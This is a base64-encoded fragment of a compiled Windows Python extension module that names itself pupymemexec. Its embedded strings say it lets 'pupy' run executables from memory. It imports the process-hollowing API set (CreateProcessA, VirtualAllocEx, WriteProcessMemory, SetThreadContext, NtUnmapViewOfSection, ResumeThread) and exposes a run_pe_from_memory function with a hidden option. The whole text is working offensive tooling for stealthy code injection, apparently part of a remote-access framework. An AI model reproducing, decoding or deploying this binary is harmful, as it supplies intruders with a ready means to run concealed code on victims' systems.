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eSBpbmNvcnJlY3RseS4KUGxlYXNlIGNvbnRhY3QgdGhlIGFwcGxpY2F0aW9uJ3Mgc3VwcG9ydCB0ZWFtIGZvciBtb3JlIGluZm9ybWF0aW9uLg0KAAAAAAAAUjYwMzMNCi0gQXR0ZW1wdCB0byB1c2UgTVNJTCBjb2RlIGZyb20gdGhpcyBhc3NlbWJseSBkdXJpbmcgbmF0aXZlIGNvZGUgaW5pdGlhbGl6YXRpb24KVGhpcyBpbmRpY2F0ZXMgYSBidWcgaW4geW91ciBhcHBsaWNhdGlvbi4gSXQgaXMgbW9zdCBsaWtlbHkgdGhlIHJlc3VsdCBvZiBjYWxsaW5nIGFuIE1TSUwtY29tcGlsZWQgKC9jbHIpIGZ1bmN0aW9uIGZyb20gYSBuYXRpdmUgY29uc3RydWN0b3Igb3IgZnJvbSBEbGxNYWluLg0KAABSNjAzMg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb2NhbGUgaW5mb3JtYXRpb24NCgAAAAAAAFI2MDMxDQotIEF0dGVtcHQgdG8gaW5pdGlhbGl6ZSB0aGUgQ1JUIG1vcmUgdGhhbiBvbmNlLgpUaGlzIGluZGljYXRlcyBhIGJ1ZyBpbiB5b3VyIGFwcGxpY2F0aW9uLg0KAABSNjAzMA0KLSBDUlQgbm90IGluaXRpYWxpemVkDQoAAFI2MDI4DQotIHVuYWJsZSB0byBpbml0aWFsaXplIGhlYXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9uIGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRhYmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAxOA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRpdGhyZWFkIGxvY2sgZXJyb3INCgAA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dHVyZGF5AAAAAEZyaWRheQAAVGh1cnNkYXkAAAAAV2VkbmVzZGF5AAAAVHVlc2RheQBNb25kYXkAAFN1bmRheQAAU2F0AEZyaQBUaHUAV2VkAFR1ZQBNb24AU3VuAAAAAABHZXRQcm9jZXNzV2luZG93U3RhdGlvbgBHZXRVc2VyT2JqZWN0SW5mb3JtYXRpb25BAAAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAVVNFUjMyLkRMTAAAU3VuTW9uVHVlV2VkVGh1RnJpU2F0AAAASmFuRmViTWFyQXByTWF5SnVuSnVsQXVnU2VwT2N0Tm92RGVjAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPChABAAkwAQAwAAAAAAAAAAAAAAwC8AABhcAAAIcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////AAAAANT///8AAAAA/v///2EYABByGAAQAAAAAP7///8AAAAA1P///wAAAAD+////qhkAEMYZABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAiB0AEP7///8AAAAAlx0AEP7///8AAAAA2P///wAAAAD+////AAAAAEofABD+////AAAAAFYfABD+////AAAAANT///8AAAAA/v///wAAAACzIQAQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAAFIlABAAAAAA/v///wAAAACM////AAAAAP7///8aKAAQHigAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABdMwAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAALI2ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAfDkAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAADRPQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAIdJABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAUUsAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAC2TAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPVRABAAAAAA/v///wAAAADY////AAAAAP7///9bUwAQb1MAEAAAAAD+////AAAAANj///8AAAAA/v///61TABCxUwAQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAKdVABAAAAAA/v///wAAAADQ////AAAAAP7///83VgAQTlYAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACXawAQEJcAAAAAAAAAAAAAwpcAABSBAAD8lQAAAAAAAAAAAADolwAAAIAAAASWAAAAAAAAAAAAALicAAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQlwAAAAAAAKycAACcnAAAjJwAAGKaAAD2lwAADJgAAB6YAAAymAAARJgAAFiYAABsmAAAfJgAAI6YAACemAAArJgAAMKYAADUmAAA6JgAAPyYAAAYmQAANpkAAEqZAABemQAAbJkAAHiZAACGmQAAkJkAAKiZAAC4mQAA0JkAANyZAADkmQAA8pkAAASaAAAUmgAAIpoAADSaAABMmgAAfJoAAJSaAACumgAAxJoAAN6aAADsmgAA+poAAAibAAAimwAAMpsAAEibAABimwAAepsAAJKbAACemwAAqJsAALSbAADGmwAA0psAAOKbAADwmwAA/JsAAAycAAA0nAAAQJwAAFKcAABknAAAepwAAAAAAACwlwAAnpcAAIyXAAB4lwAAZpcAAFSXAABElwAANJcAAAAAAAA1A1B5X0J1aWxkVmFsdWUAlABQeUVycl9Gb3JtYXQAANcAUHlFeGNfRXhjZXB0aW9uABYCUHlPYmplY3RfSXNUcnVlAAcAUHlBcmdfUGFyc2VUdXBsZQAACQRfUHlfVHJ1ZVN0cnVjdAAACwRfUHlfWmVyb1N0cnVjdAAAVgNQeV9Jbml0TW9kdWxlNAAAcHl0aG9uMjcuZGxsAAB7AENyZWF0ZVByb2Nlc3NBc1VzZXJBAABBRFZBUEkzMi5kbGwAAC4FV3JpdGVQcm9jZXNzTWVtb3J5AADqBFZpcnR1YWxBbGxvY0V4AACRBFNldFRocmVhZENvbnRleHQAAEUCR2V0UHJvY0FkZHJlc3MAABUCR2V0TW9kdWxlSGFuZGxlQQAAhgJHZXRUaHJlYWRDb250ZXh0AAATBFJlc3VtZVRocmVhZAAApABDcmVhdGVQcm9jZXNzQQAAAgJHZXRMYXN0RXJyb3IAAKEAQ3JlYXRlUGlwZQAAxQFHZXRDdXJyZW50VGhyZWFkSWQAAIYBR2V0Q29tbWFuZExpbmVBAMAEVGVybWluYXRlUHJvY2VzcwAAwAFHZXRDdXJyZW50UHJvY2VzcwDTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAANJc0RlYnVnZ2VyUHJlc2VudAAYAkdldE1vZHVsZUhhbmRsZVcAAMcEVGxzR2V0VmFsdWUAxQRUbHNBbGxvYwAAyARUbHNTZXRWYWx1ZQDGBFRsc0ZyZWUA7wJJbnRlcmxvY2tlZEluY3JlbWVudAAAcwRTZXRMYXN0RXJyb3IAAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAAM8CSGVhcEZyZWUAALIEU2xlZXAAGQFFeGl0UHJvY2VzcwBvBFNldEhhbmRsZUNvdW50AABkAkdldFN0ZEhhbmRsZQAA8wFHZXRGaWxlVHlwZQBiAkdldFN0YXJ0dXBJbmZvQQDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgATAkdldE1vZHVsZUZpbGVOYW1lQQAAYAFGcmVlRW52aXJvbm1lbnRTdHJpbmdzQQDYAUdldEVudmlyb25tZW50U3RyaW5ncwBhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXABEFV2lkZUNoYXJUb011bHRpQnl0ZQDaAUdldEVudmlyb25tZW50U3RyaW5nc1cAAM0CSGVhcENyZWF0ZQAAzgJIZWFwRGVzdHJveQDsBFZpcnR1YWxGcmVlAKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAkwJHZXRUaWNrQ291bnQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AAHIBR2V0Q1BJbmZvAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQDLAkhlYXBBbGxvYwDpBFZpcnR1YWxBbGxvYwAA0gJIZWFwUmVBbGxvYwAlBVdyaXRlRmlsZQA8A0xvYWRMaWJyYXJ5QQAA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50ABgEUnRsVW53aW5kAAQCR2V0TG9jYWxlSW5mb0EAAGYCR2V0U3RyaW5nVHlwZUEAAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAAArA0xDTWFwU3RyaW5nQQAALQNMQ01hcFN0cmluZ1cAANQCSGVhcFNpemUAAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAACt+bxWAAAAAAKdAAABAAAAAQAAAAEAAAD4nAAA/JwAAACdAACgFQAAEp0AAAAAcHVweW1lbWV4ZWMucHlkAGluaXRwdXB5bWVtZXhlYwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOdFVubWFwVmlld09mU2VjdGlvbgAAAABOVERMTAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAAABOVERMTAAAAAAAAABwdXB5bWVtZXhlYyBhbGxvd3MgcHVweSB0byBleGVjdXRlIFBFIGV4ZWN1dGFibGVzIGZyb20gbWVtb3J5ICEAc3MjfE9PbABFcnJvciBpbiBDcmVhdGVQaXBlOiBFcnJubyAlZAAAAEVycm9yIGluIENyZWF0ZVByb2Nlc3M6IEVycm5vICVkAAAAAEVycm9yIGluIENyZWF0ZVByb2Nlc3M6IEVycm5vICVkIGR1cEhhbmRsZSAleAAAAEVycm9yIGluIE1hcE5ld0V4ZWN1dGFibGVSZWdpb25JblByb2Nlc3M6IEVycm5vICVkAABFcnJvciBpbiBSZXN1bWVUaHJlYWQ6IEVycm5vICVkAChJSUlJSSkAcnVuX3BlX2Zyb21fbWVtb3J5AAAAAAAAcnVuX3BlX2Zyb21fbWVtb3J5KGNtZGxpbmUsIHJhd19wZSwgcmVkaXJlY3RlZF9zdGRpbz1U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